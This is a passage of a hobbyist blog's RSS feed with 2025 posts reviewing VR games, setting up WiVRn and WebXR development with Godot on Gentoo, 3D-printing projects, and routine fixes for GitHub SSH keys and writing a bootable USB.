   <img alt="resident evil 4 boss" src="/home/rednuht/projects/flog/images/resident-evil-4-vr-3.jpg" title="resident evil 4 boss"/>
  </p>
  <p>
   He is confusing as an enemy and can be strategically avoided or killed. What was really odd, was that leading up to the encounter were a number of liquid nitrogen canisters that the game brings to your attention. They looked like a basic bomb mechanic, where you shoot to blow them up as the enemy passes. But that is not how they work and as you cannot interact with any of them before the encounter I did not believe they could be activated. Only after completing this section and wasting a ton of ammo did I learn that you could (if you had the nerve to stand around with that thing hunting you) open a valve and jump out of the way.
  </p>
  <p>
   There is a set of shooting ranges to encourage you to improve your aim and I completed nearly all of them, unlocking the basic and advanced prizes. Unfortunately, one of the guns is a blunderbuss style shotgun and it is purely luck if the shots hit the enemy, bonus or friendlies, making a perfect score almost impossible. While another seemed to work perfectly and I hit head shots on all the enemies, got all the bonuses and avoided hitting friendlies, but did not get a high enough score for the extra unlockable.
  </p>
  <h2>
   Conclusion
  </h2>
  <p>
   <img alt="resident evil 4 completion stats" src="/home/rednuht/projects/flog/images/resident-evil-4-vr-1.jpg" title="resident evil 4 completion stats"/>
   20 hours plus to complete! That has now unlocked numerous replay options including the Merc wave shooter challenges.
  </p>
  <p>
   An amazing and memorable experience. Well worth it!
  </p>
</description>
</item>
<item>
<title>going on the quest to be ironman</title>
<pubDate>Sun, 31 Aug 2025 11:29:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p310820251129</link>
<description>
  <h1>
   Ironman VR
  </h1>
  <p>
   It was a while back that I saw this on sale and bought it on Meta's store.
  </p>
  <p>
   Well worth the money!
  </p>
  <p>
   <img alt="Ironman VR title screen" src="/home/rednuht/projects/flog/images/ironman-vr-1.jpg" title="Ironman VR title screen"/>
  </p>
  <p>
   Before we start, the Flying
   <strong>
    did NOT make me sick
   </strong>
   , but read the
   <em>
    Problems
   </em>
   section to see what
   <strong>
    DID make me sick
   </strong>
   .
  </p>
  <h2>
   The game play
  </h2>
  <p>
   The basic game play is; lock-on missile - fire, shoot, shoot, shoot, recharge, repeat.
  </p>
  <p>
   But there is so much more to it than that. Flying around, strong story, puzzles, chases, customisation, races and a star rating per mission.
  </p>
  <p>
   <img alt="ironman vr custom suit" src="/home/rednuht/projects/flog/images/ironman-vr-2.jpg" title="ironman vr custom suit"/>
  </p>
  <h2>
   The experience
  </h2>
  <p>
   The graphics are very nice, little low poly on missions, but overall very good for the Quest 2. The first time (and all further times) you deploy for a mission and the face-plate comes down, sealing to your face is breath taking.
  </p>
  <p>
   There is a lot of unskippable dialog with NPC actors, all with immersive voice overs. These scenes are what makes this a AAA gaming experience. It also drives the story. I did believe it was Robert Downy Jr. talking, but in the end credits it clearly wasn't.
  </p>
  <p>
   The missions are nicely sized, offering approximately 45 minute excursion. Nothing is overly difficult and things are varied just enough to keep you hooked. You will feel compelled to complete the game.
  </p>
  <p>
   <img alt="ironman vr flying with HUD" src="/home/rednuht/projects/flog/images/ironman-vr-3.jpg" title="ironman vr flying with HUD"/>
  </p>
  <h2>
   The problems
  </h2>
  <p>
   I was very worried when starting out that the flying would make me motion sick. It did not, was very enjoyable and easy to control.
  </p>
  <p>
   What
   <strong>
    did
   </strong>
   make me sick was the steps in the walking sections. These areas were in the story portions and simply required me to climb a flight of stairs or even a few steps to reach a platform. When I say
   <em>
    made-me-sick
   </em>
   , I mean three steps and I had to close my eyes and then take a break. It was insanely nausea inducing and there was a lot of it in Tony's lab.
  </p>
  <p>
   One other problem was the different ways to activate weapons and the lack of a instruction set to refer to. For instance, you get access to the classic chest blaster and the game explains how to use it. But then you do not need it for few missions. Then all of a sudden the enemy can only be defeated with the chest cannon and the NPC is telling you to activate it and you cannot for the life of you work out how!
  </p>
  <h2>
   Conclusion
  </h2>
  <p>
   In balance and with the sale price I highly recommend this to any Marvel fan that wants to be Ironman.
  </p>
  <p>
   <img alt="ironman vr ghost corrupting display" src="/home/rednuht/projects/flog/images/ironman-vr-4.jpg" title="ironman vr ghost corrupting display"/>
  </p>
</description>
</item>
<item>
<title>blender vr in wivrn</title>
<pubDate>Sun, 31 Aug 2025 10:54:43 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p310820251054</link>
<description>
  <h1>
   Blender VR in WiVRn
  </h1>
  <p>
   Just a quick note that, yes Blender does work with WiVRn.
  </p>
  <p>
   Add the built-in add-on for VR scene view and
   <em>
    Start VR Session
   </em>
  </p>
  <p>
   <img alt="Blender VR settings" src="/home/rednuht/projects/flog/images/blender-vr-wivrn.jpg" title="Blender VR settings"/>
  </p>
</description>
</item>
<item>
<title>doh i did it again</title>
<pubDate>Sat, 30 Aug 2025 10:24:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820251024</link>
<description>
  <p>
   Quick intermission.
  </p>
  <p>
   doh! missed a bit
  </p>
</description>
</item>
<item>
<title>oops i did it again</title>
<pubDate>Sat, 30 Aug 2025 10:20:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820251020</link>
<description>
  <p>
   Quick intermission.
  </p>
  <p>
   Well,
   <em>
    that
   </em>
   mostly worked.
  </p>
  <p>
   ... until next time :D
  </p>
</description>
</item>
<item>
<title>oops i did again</title>
<pubDate>Sat, 30 Aug 2025 10:17:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820251017</link>
<description>
  <p>
   Quick intermission.
  </p>
  <p>
   Well, it mostly worked. The ordering of the encoding was unhappy with the characters
  </p>
  <pre><code>&amp; g t ;
</code></pre>
  <p>
   and did not convert it into
  </p>
  <pre><code>&amp;amp; g t ;
</code></pre>
  <p>
   but think that was by design and I can live with it... until next time :D
  </p>
</description>
</item>
<item>
<title>quick intermission to reencode</title>
<pubDate>Sat, 30 Aug 2025 10:15:05 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820251015</link>
<description>
  <p>
   Quick intermission.
  </p>
  <p>
   Well, it mostly worked. The ordering of the encoding was unhappy with the characters
  </p>
  <pre><code>&amp; g t ;
</code></pre>
  <p>
   and did not convert it into
  </p>
  <pre><code>&amp;amp; g t ;
</code></pre>
  <p>
   but think that was by design and I can live with it... until next time :D
  </p>
</description>
</item>
<item>
<title>who is encoding what highlights</title>
<pubDate>Sat, 30 Aug 2025 10:08:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820251008</link>
<description>
  <p>
   Quick intermission.
  </p>
  <p>
   The flog service was
   <strong>
    not
   </strong>
   double encoding html entities, but the highlighting service was sometimes reformatting them.
  </p>
  <p>
   Lets see it handle me talking about handling it :D
  </p>
  <p>
   Input
  </p>
  <pre><code>&gt;=
</code></pre>
  <p>
   I encode this for html
  </p>
  <pre><code>&amp;gt;=
</code></pre>
  <p>
   The highlight service converts it to
  </p>
  <pre><code>&amp;&lt;span class="hljs-keyword"&gt;gt&lt;/span&gt;;
</code></pre>
  <p>
   Which breaks it from an html entity to plain characters.
  </p>
</description>
</item>
<item>
<title>why wirvn</title>
<pubDate>Sat, 30 Aug 2025 09:27:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p300820250927</link>
<description>
  <h1>
   WiVRn
  </h1>
  <p>
   I really want to do VR development. With my main requirements being;
  </p>
  <ul>
   <li>
    On Linux (gentoo)
   </li>
   <li>
    All open source tooling
   </li>
   <li>
    Quick dev cycle
   </li>
   <li>
    Easy to test on my Quest2
   </li>
  </ul>
  <p>
   WebXR appeared to be the obvious route, but that was not the case as I found a myriad of problems with it.
  </p>
  <p>
   The first two are nicely covered by the openness of Godot. The next two are actually covered by something I had installed a while ago and promptly forgotten about.
  </p>
  <p>
   WiVRn is a streaming client/server model for VR headsets. By that I mean that instead of streaming a movie it streams the headset and controllers actions to the server and in turn the server streams back the 3D rendered world.
  </p>
  <p>
   It was not quite turnkey to install on Gentoo and set up, but here are my notes.
  </p>
  <p>
   Install the WiVRn client from the Meta Quest store. Easy!
  </p>
  <p>
   Set up the
   <em>
    Guru overlay
   </em>
   repository and emerge it from there.
  </p>
  <pre><code>emerge --ask app-eselect/eselect-repository
mkdir -p /etc/portage/repos.conf
eselect repository enable guru
eselect repository list -i
emerge --sync
emerge -av wivrn
</code></pre>
  <p>
   I also had to add a few bits to
   <code>
    /etc/portage/package.accept_keywords
   </code>
   and use
   <code>
    ufed
   </code>
   to enable the
   <strong>
    extra
   </strong>
   flag (that really is the name).
  </p>
  <pre><code># 2025 WiVRn from Guru overlay
&gt;=media-libs/wivrn-25.8 ~amd64
&gt;=media-libs/openxr-loader-1.1.45-r1 ~amd64
</code></pre>
  <p>
   Avahi was already installed and working but it should have needed
  </p>
  <pre><code>emerge --ask net-dns/avahi
rc-update add avahi-daemon default
rc-service avahi-daemon start
</code></pre>
  <p>
   Now as a non root user
  </p>
  <pre><code>wivrn-dashboard
</code></pre>
  <p>
   Follow the wizard and start the app on the headset with the PIN shown in the UI.
  </p>
  <p>
   The wizard wants to know what executable to run when you connect,
but you can just leave it blank and test it when Godot is running. Which reminds me, I must try Blender's VR mode...
  </p>
</description>
</item>
<item>
<title>webxr is dumb</title>
<pubDate>Sat, 23 Aug 2025 22:22:50 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p230820252222</link>
<description>
  <h1>
   WebXR is dumb!
  </h1>
  <p>
   Back in
   <a href="/flog/Oct2021.html#p301020211833">
    2021
   </a>
   I tried some basic VR development using Godot on Windows 10 (yuck!)
  </p>
  <p>
   It did work, but my circumstances changed and I forgot all about it.
  </p>
  <p>
   The process
   <em>
    was
   </em>
   easy.
  </p>
  <ol>
   <li>
    Develop in the free and open source Godot game engine
   </li>
   <li>
    Export as a WebXR page (and adding the secret sauce)
   </li>
   <li>
    Open a browser on the Quest
   </li>
   <li>
    Navigate to that page
   </li>
   <li>
    ...
   </li>
   <li>
    Prophet!
   </li>
  </ol>
  <p>
   The caveat is that for browsers to allow WebXR content the page
   <strong>
    MUST
   </strong>
   be hosted on HTTPS. Which is a pain, because normally local development is all HTTP, easy to set up.
  </p>
  <p>
   I cannot remember how I got Windows 10 to host the pages in HTTPS but it might have had something to do with WSL and sudo.
  </p>
  <p>
   Fast forward to this week almost four years later and I can see that people drop the term WebXR casually in compatibility chats for VR. So it must be a mature and well supported/used technology then?
  </p>
  <p>
   No!
  </p>
  <p>
   Here are my notes for trying to get anything to work sensibly, even before using the Quest.
  </p>
  <h2>
   Godot works in Gentoo
  </h2>
  <p>
   This one did surprise me. But a simple
  </p>
  <pre><code>emerge -av godot
</code></pre>
  <p>
   I need to let that sink in ... nothing off the beaten path ever works out-of-the-box like that for me on Gentoo. There is always a way to get things to work but the amount of fiddling/finessing is the trade off.
  </p>
  <p>
   It was also a very recent release 4.4.1 and it just
   <strong>
    worked!
   </strong>
  </p>
  <p>
   I had a fully working and ready to go game development environment!
  </p>
  <h2>
   Hosting HTTPS
  </h2>
  <p>
   Before I remembered that WebXR
   <strong>
    HAD
   </strong>
   to be HTTPS I did try the classic http route
  </p>
  <pre><code>python -m http.server 8000
</code></pre>
  <p>
   Which just fails without a fanfare.
  </p>
  <p>
   As I already had lighttpd running a number of local sites, I added HTTPS support.
  </p>
  <p>
   This involved adding a server binding
  </p>
  <pre><code>$SERVER["socket"] == "0.0.0.0:443" {
  ssl.engine = "enable"
  ssl.pemfile = "/etc/lighttpd/certs/lighttpd_https.pem"
  server.document-root = "/var/www/webxr_https/"
  server.errorlog = "/var/log/lighttpd/error_webxr_https.log"
  accesslog.filename = "/var/log/lighttpd/access_webxr_https"
}
</code></pre>
  <p>
   Not sure if this next bit was actually necessary, but it did stop the server whining.
  </p>
  <pre><code>server.modules = (
    ....
    "mod_openssl"
    ....
)
</code></pre>
  <p>
   The pem file was originally created with
  </p>
  <pre><code>openssl req -new -x509 -keyout lighttpd_https.pem -out lighttpd_https.pem -days 365 -nodes
chmod 400 lighttpd_https.pem
</code></pre>
  <p>
   and then recreated with
  </p>
  <pre><code>openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout lighttpd_https.key -out lighttpd_https.crt -subj "/CN=192.168.0.32" -addext "subjectAltName=IP:192.168.0.32"
cat lighttpd_https.crt lighttpd_https.key &gt; lighttpd_https.pem
chmod 400 lighttpd_https.pem
</code></pre>
  <p>
   Where 192.168.0.32 was my local machines IP.
  </p>
  <p>
   Not sure the recreated IP specific pem was needed, the problem was that I had not bound the socket to "0.0.0.0:443" originally.
  </p>
  <p>
   Diagnosed the issue with
  </p>
  <pre><code>/etc/init.d/lighttpd restart
netstat -tulpn | grep ':443'
</code></pre>
  <h2>
   The three way Godot shuffle
  </h2>
  <p>
   I found a YouTube video
   <a href="https://www.youtube.com/watch?v=BrNZs4XzU0w">
    Getting Started With XR in Godot 4.3 Tutorial!
   </a>
   . It went through the process of creating a world, camera, controllers, basic set pieces and interactive objects. Not bad for 20 minutes.
  </p>
  <p>
   I had not really thought about it but these instructions were for OpenXR not WebXR. It would have been nice to just set the export to WebXR and it would have magically worked...
  </p>
  <p>
   So I had a non functional non WebXR game, not very useful.
  </p>
  <p>
   The
   <a href="https://docs.godotengine.org/en/stable/classes/class_webxrinterface.html">
    Official Godot WebXR documentation
   </a>
   references a tutorial
   <a href="https://www.snopekgames.com/tutorial/2023/how-make-vr-game-webxr-godot-4/">
    Snopekgames.com
   </a>
   . Which I read and realised that the WebXR specifics were a few lines of code.
  </p>
  <h2>
   Events
  </h2>
  <p>
   Because it all ends up as Javascript in the browser the VR initialisation is all asynchronous. Which simply means you ask for it rather than demand and then you wait for a reply.
  </p>
  <p>
   The browser triggers an event announcing that the VR/XR is ready and you listen for it and then you can connect to it and display VR.
  </p>
  <h2>
   Firefox
  </h2>
  <p>
   Back in
   <a href="/flog/Oct2021.html#p301020211833">
    2021
   </a>
   I used Firefox to test Godot WebXR before trying to on the headset. This worked, mostly. the Godot XR support was ropy and simple but it did work for the most basic stuff.
  </p>
  <h2>
   WebXR API emulator
  </h2>
  <p>
   To do this magic, Firefox developers had created an add-on/extension called "WebXR API Emulator". It does exactly what the name suggests, it emulates the input from the headset and controllers and passes them through to any WebXR page that is listening. Then the WebXR page shows the headset/camera and controllers moving about. There is a 3D interface in the developer tools screen that allows manipulation of a virtual headset and controllers.
  </p>
  <p>
   But what ever I did I could not get any Godot based WebXR experiences to work in Firefox and the WebXR API Emulator. Though non Godot experiences worked just fine.
  </p>
  <p>
   The issue appears to be constant spamming error messages slowing the emulation down to 0. It is unclear if this due to the way Firefox is supporting WebXR or the add-on is emulating the WebXR or that Godot is doing something bad.
  </p>
  <p>
   Googling and checking forums shows that no one cares. Which is really sad, as my belief was that this was the easy entry point that everyone was using to get started, test and distribute demos etc.
  </p>
  <h2>
   just the snokep
  </h2>
  <p>
   I did try the
   <a href="https://www.snopekgames.com/tutorial/2023/how-make-vr-game-webxr-godot-4/">
    Snopekgames.com
   </a>
   tutorial again. This time from scratch and being highly pedantic about following every single step to nth degree. Matching screen shots of the Godot UI. No change in Firefox.
  </p>
  <h2>
   just the no-code
  </h2>
  <p>
   Found an even older YouTube video
   <a href="https://www.youtube.com/watch?v=rLOt0Pkzl9s">
    Godot 4.0.1 Web-XR Tutorial
   </a>
   that is created by one of the main Godot XR/VR developers. It has no code only drag and drop components. It also did not work.
  </p>
  <h2>
   just give up
  </h2>
  <p>
   I tried all these combinations on the Quest 2 headset in both the Meta browser and Wolvic browser and only one worked. It was the bastardised original with the extra event code. Which is weird because it had multiple cameras and controllers... it also only showed the controllers not the world.
  </p>
  <p>
   Posted on the forum and got crickets. Admittedly I only left it few days ...
  </p>
  <h2>
   the new hope
  </h2>
  <p>
   So is that the end of my dream?
  </p>
  <p>
   Not quite.
  </p>
  <p>
   I had installed WiVRn on the Quest headset a while ago and forgotten about it...
  </p>
  <p>
   more on that next time ...
  </p>
  <h2>
   but finally
  </h2>
  <p>
   The errors I saw in the Firefox dev console using WebXR API Emulator were
  </p>
  <pre><code>ERROR: Condition "p_right &lt;= p_left" is true. index.js:474:18
               at: set_frustum (core/math/projection.cpp:365) index.js:474:18
</code></pre>
  <p>
   repeated infinitely or
  </p>
  <pre><code>ERROR: The axis Vector3 (0.0, 0.0, 0.0) must be normalised.
</code></pre>
  <p>
   repeated infinitely.
  </p>
  <p>
   Also tried all the Itch.io Godot XR Jam entries that had WebXR pages in the Meta browser on the Quest 2. None worked correctly. The best I got was a world loading and being able to look around. No movement no, controllers, no interaction.
  </p>
</description>
</item>
<item>
<title>dewonking the portal sentry gun</title>
<pubDate>Wed, 06 Aug 2025 08:17:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p060820250817</link>
<description>
  <h1>
   Wonky sentry turret
  </h1>
  <p>
   One of my first Funko Pop characters was the Sentry Turret from Portal. When I removed it from the box (I know, I know!) one leg was bent slightly, meaning it would not stand up on its own.
  </p>
  <p>
   Over the years I tried over bending it and forcing cardboard in between the legs to fix it, but nothing worked. Then I managed to knock it on the floor where the back leg fell off.
  </p>
  <p>
   Could have binned it but instead I decided to try and build a stepped platform for it. Took a few iterations to get the holes right, but now it sits happily on my PC case.
  </p>
  <p>
   <img alt="photo of a Portal gun Funko wonky" src="/home/rednuht/projects/flog/images/sentry-gun-wonk.jpg" title="Portal gun Funko wonky"/>
  </p>
  <p>
   <img alt="photo of Portal gun Funko on 3d printed platform" src="/home/rednuht/projects/flog/images/sentry-gun-platform.jpg" title="Portal gun Funko on platform"/>
  </p>
  <p>
   <img alt="Photo of 3D printed Portal gun Funko platform iterations" src="/home/rednuht/projects/flog/images/sentry-gun-platforms.jpg" title="3D printed Portal gun Funko platform iterations"/>
  </p>
  <p>
   Although I liked the full size platform it used up a lot of filament and time to keep printing. Also thought of painting it, but looks fine.
  </p>
</description>
</item>
<item>
<title>project shelves</title>
<pubDate>Tue, 05 Aug 2025 22:13:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p050820252213</link>
<description>
  <h1>
   3D printed shelf parts
  </h1>
  <p>
   Sometimes I go a little overboard with trying to save money, but then you see the price of shelving kits and ...
  </p>
  <p>
   Well I have some shelves built into the wall that are very small and I thought it would be "so easy" to print some connectors and extend them with some ply board.
  </p>
  <p>
   The theory was easy, measure the thickness of the shelves and the thickness of the ply board, cut the ply board and connect. Technically that is all that I did. It fitted first time, it just didn't look great, mainly from the non straight cut of the ply board.
  </p>
  <p>
   <img alt="Photo of a custom 3D printed shelf connector" src="/home/rednuht/projects/flog/images/shelving-connector.jpg" title="3D printed shelf connector"/>
  </p>
  <p>
   That connected to a standard freestanding shelving unit in the middle of the wall. On the other side there were no in-built shelves to connect to, so I designed and printed some brackets.
  </p>
  <p>
   <img alt="A photo of a custom 3D printed shelf bracket on the wall" src="/home/rednuht/projects/flog/images/shelving-bracket.jpg" title="3D printed shelf bracket"/>
  </p>
  <p>
   This was mainly attached with Gorilla glue tape that mostly held. The shelves do not hold anything particularly heavy and some of them were screwed into the free standing shelving unit.
  </p>
  <p>
   As you might have guessed, I currently have Orange filament in my printer. I think it looks kind of funky (good).
  </p>
</description>
</item>
<item>
<title>not quite all my dice</title>
<pubDate>Tue, 05 Aug 2025 21:53:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2025.html#p050820252153</link>
<description>
  <h1>
   Not quite all my dice
  </h1>
  <p>
   I remember starting D&amp;D and borrowing a set of dice, then buying my own set and thinking I will never need any more than a single set ...
  </p>
  <p>
   Then I kept finding dice sets that had interesting attributes. Like, containing pandas or octopuses or were metal or a different size.
  </p>
  <p>
   Then people would gift me dice for my birthday and Xmas.
  </p>
  <p>
   This is almost all my current dice.
  </p>
  <p>
   <img alt="photo of a large number of dice sets" src="/home/rednuht/projects/flog/images/dice-2025.jpg" title="A lot of dice 2025"/>
  </p>
  <p>
   There is also a tiny set of metal dice that fit in a key-ring and a hand made large D20 containing Totoro from Studio Ghibli's My Neighbour Totoro.
  </p>
  <p>
   and I am sure there will be more in the future.
  </p>
  <p>
   Oh, that funny disk in the middle is a metal spinner with 20 edges. Surprisingly hard to read which one it has landed on.
  </p>
</description>
</item>
<item>
<title>tecknecal issues please stand abye</title>
<pubDate>Sat, 26 Jul 2025 10:09:57 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2025.html#p260720251009</link>
<description>
  <p>
   erm, technical issues... please stand by
  </p>
</description>
</item>
<item>
<title>github ssh only fun</title>
<pubDate>Sat, 26 Jul 2025 09:50:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2025.html#p260720250950</link>
<description>
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:uN0VztksCsDhcc0u9e8BujQXVUpKZIDTMczCvj4tD2s.
Please contact your system administrator.
Add correct host key in /home/USER/.ssh/known_hosts to get rid of this message.
Offending RSA key in /home/USER/.ssh/known_hosts:2
Host key for github.com has changed and you have requested strict checking.
Host key verification failed.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
</code></pre>
  <h2>
   remove
  </h2>
  <pre><code>ssh-keygen -R github.com
</code></pre>
  <h2>
   get new
  </h2>
  <pre><code>ssh -T git@github.com

The authenticity of host 'github.com (20.26.156.215)' can't be established.
ED25519 key fingerprint is SHA256:+DiY3wv3V6TuJJhbpZ3sF/zLDA0zP3SvHdkr3UvCOqU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'github.com' (ED25519) to the list of known hosts.
git@github.com: Permission denied (publickey).


~/projects/javascript/Anagram Shark Attack JS-E $ git push
git@github.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
</code></pre>
  <p>
   then
  </p>
  <pre><code>~/projects/javascript/Anagram Shark Attack JS-E $ ssh -T git@github.com
git@github.com: Permission denied (publickey).
</code></pre>
  <p>
   check the github repo
  </p>
  <pre><code>git remote -v
origin  git@github.com:robgithub/AnagramSharkAttackJS-E.git (fetch)
origin  git@github.com:robgithub/AnagramSharkAttackJS-E.git (push)
</code></pre>
  <p>
   log on to github. Go to
   <strong>
    profile/settings/SSH keys
   </strong>
   Add the key from
  </p>
  <pre><code>~/.ssh/id_rsa.pub
</code></pre>
  <p>
   now
  </p>
  <pre><code>ssh -T git@github.com
Enter passphrase for key '/home/rednuht/.ssh/id_rsa': 
</description>
</item>
<item>
<title>cp iso to usb notes dump</title>
<pubDate>Sat, 26 Jul 2025 09:26:48 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2025.html#p260720250926</link>
<description>
  <h1>
   Copying and ISO to USB with cp
  </h1>
  <p>
   Brief intro. This blog post was supposed to be written in 2024, but it got lost somewhere.
  </p>
  <p>
   As such this blog post is going to be a dump of my notes and is really only here as a reference for me (see disclaimer at the bottom of the page regarding not being me).
  </p>
  <p>
   I came across a post that notes that creating a bootable USB doesn't need a GUI like unetbootin or even dd
  </p>
  <p>
   <a href="https://forums.gentoo.org/viewtopic-p-8763349.html?sid=2aa710eb19a5f5fc496bc0c1c2dbba23#8763349">
    forums.gentoo.org post
   </a>
  </p>
  <p>
   Intrigued I downloaded
   <a href="https://sourceforge.net/projects/boot-repair-cd/files/">
    Boot Repair
   </a>
   , which had been linked from
   <a href="https://help.ubuntu.com/community/Boot-Repair">
    help.ubuntu.com/community/Boot-Repair
   </a>
  </p>
  <p>
   The download from Sourceforge was painful for a 2.5G file.
  </p>
  <p>
   Note to self: avoid Sourceforge. Especially for large files. The download actually hung at 95% and trying again started optimistically but quickly went down hill ... and then up hill and down and FFS! is this 2024?
  </p>
  <pre><code>cp file.iso /dev/sdX
</code></pre>
  <p>
   where
   <strong>
    sdX
   </strong>
   is my usb drive found by running
  </p>
  <pre><code>lsblk
</code></pre>
  <p>
   I like
   <strong>
    lsblk
   </strong>
   because it shows both unmounted devices and mounted devices along with their mount points.
  </p>
  <p>
   then I used
   <strong>
    dd
   </strong>
   to make a block for block copy of the device
  </p>
  <pre><code>dd if=/dev/sdX of=/tmp/file1.iso.dd
</code></pre>
  <p>
   this file is that same size as the drive, which luckily is "only" 4 GB
  </p>
  <p>
   then I did my normal
   <strong>
    dd
   </strong>
   to create a bootable usb
  </p>
  <pre><code>dd of=~/Downloads/boot-repair-disk-64bit.iso  if=/dev/sdX
</code></pre>
  <p>
   then I dd'ed that
  </p>
  <pre><code>dd if=/dev/sdX of=/tmp/file2.iso.dd
</code></pre>
  <p>
   and did a binary compare via
   <strong>
    md5sum
   </strong>
  </p>
  <pre><code>md5sum /tmp/file1.iso.dd
md5sum /tmp/file2.iso.dd
</code></pre>
  <p>
   <em>
    my notes get a bit garbled at this point and is reason for not posting sooner
   </em>
  </p>
  <p>
   I enter the Bios, set usb 1st boot, get LM logo (linux Mint), get failed to find something
tries to boot from DHCP?
  </p>
  <p>
   reboot, not recognised, power off/on not recognised
  </p>
  <p>
   put in different machine not recognised !!
  </p>
  <p>
   sort of, it is there
  </p>
  <pre><code>dd if=~/Downloads/boot-repair-disk-64bit.iso of=/dev/sde
dd: failed to open '/dev/sde': No medium found

cfdisk /dev/sde
cfdisk: cannot open /dev/sde: No medium found
fdisk -l /dev/sde
fdisk: cannot open /dev/sde: No medium found

dmesg
[ 1376.989837] usb 1-2: new high-speed USB device number 7 using xhci_hcd
[ 1377.129194] usb 1-2: New USB device found, idVendor=090c, idProduct=3000, bcdDevice= 1.00
[ 1377.129211] usb 1-2: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[ 1377.129219] usb 1-2: Product: SM3255AA MEMORY BAR 
[ 1377.129225] usb 1-2: Manufacturer: Silicon Motion,Inc. 
[ 1377.131191] usb-storage 1-2:1.0: USB Mass Storage device detected
[ 1377.131612] scsi host4: usb-storage 1-2:1.0
[ 1378.159394] scsi 4:0:0:0: Direct-Access              USB MEMORY BAR   1000 PQ: 0 ANSI: 0 CCS
[ 1378.160647] sd 4:0:0:0: [sde] Media removed, stopped polling
[ 1378.160790] sd 4:0:0:0: Attached scsi generic sg4 type 0
[ 1378.161515] sd 4:0:0:0: [sde] Attached SCSI removable disk

lsblk
sde      8:64   1     0B  0 disk
</code></pre>
  <p>
   SIZE 0B AGHhhhh!!
  </p>
  <p>
   This is a novelty USB from 2010, Lucasfilms Luke in Hoth gear :(
but I think its dead, that seems to be the majority consensus. The only dissenting votes are when they have unplugged and replugged multiple times and that feels like hitting a CRT TV (which I used to have to do, and it worked)
  </p>
  <p>
   I gave it one last chance and plugged it into a very old window 10 machine...
  </p>
  <p>
   It gave a announcement of USB device noise but the LED on the stick was not flashing :(
  </p>
  <p>
   new drive, cp not dd
boot using legacy mode
gets to desk top of Linux Mint
  </p>
  <p>
   and, it finds nothing, nada, nothing, no option to check of fix anything, but it did note the was encrypted drives which is true
  </p>
  <p>
   but in Linux Mint desktop, I can see the encrypted drive and the boot drive. Mount the boot drive and see the normal grub/efi files
  </p>
  <p>
   backed up my /home files from the encrypted drive and then...
  </p>
  <p>
   Looked at the boot-repair report
  </p>
  <pre><code>=&gt; No boot loader is installed in the MBR of /dev/nvme0n1
</code></pre>
  <p>
   which sounds bad (
   <strong>
    but is standard
   </strong>
   ) and although it lists a lot of stuff, there were no other errors or red flags.
  </p>
  <p>
   Interestingly and in line with something another thread was discussing about a machine going into the BIOS after three reboots I found that this Dell laptop does exactly that, fails to boot three times, restarting completely on each failure.
  </p>
  <p>
   Holding down shift did nothing, had to wait for it reboot (automatically) three times to go into the bios and then manually change the boot order
  </p>
  <p>
   Time to get the Ubuntu live cd/iso
  </p>
  <p>
   tried a few things, gave up formatted everything, scorched earth style!
  </p>
  <p>
   <em>
    note to self: do not leave blogs unblogged or expect this crap
   </em>
  </p>
</description>
</item>
<item>
<title>vr vs ps5 round 1</title>
<pubDate>Mon, 30 Jun 2025 20:54:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2025.html#p300620252054</link>
<description>
  <h1>
   Currently playing
  </h1>
  <h2>
   Iron man VR
  </h2>
  <p>
   A strange mix of simple battles and extended cut scenes with lots of dialog from RDJ. Though this is comic not MCU Iron man. Some impressive bits, like the suit start up sequence and flying battles. Offset by the simplistic graphics (in places) and the sickness inducing stairs (I am not kidding)
  </p>
  <h2>
   Astrobot PS5
  </h2>
  <p>
   Due to a unexpected turn of events I now own a PS5 and a number of disc games. The freebie Astrobot shows off the new controllers capabilities via vibrations, sound and various inputs. Surprising fun and I just completed it 100%. All puzzle pieces and all the artefacts. Unlocking artefacts allows for some odd and silly interactions which in turn unlock achievements.
  </p>
  <h2>
   Bone labs VR
  </h2>
  <p>
   I want to return to Bone Labs, but I need a map of where I already have unlocked everything so I do not revisit areas unnecessarily. Not currently high on my priority list.
  </p>
</description>
</item>
<item>
<title>may bone labs</title>
<pubDate>Sat, 31 May 2025 08:35:45 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2025.html#p310520250835</link>
<description>
  <h1>
   Bone Labs VR
  </h1>
  <p>
   Why didn't someone tell me this was so good!?
  </p>
  <p>
   Again, it's a game I had bought on deal and forgot I had in my library :)
  </p>
  <p>
   I am not posting any screenshots because there Bone labs experience is sooo varied and the enjoyment comes from the exploration.
  </p>
  <p>
   I had played the original Bone Works on the Vive and found it very motion sickness inducing :( So I was pleasantly surprised to find on the Quest 2 that a part from a driving section(that you can skip) I was fine :D
  </p>
  <p>
   There are lots of ways to play and it encourages you to replay levels and find all the secrets. But as there is no way of tracking which secrets have been discovered I am not sure how much effort I will put in to revisiting every level...
  </p>
  <p>
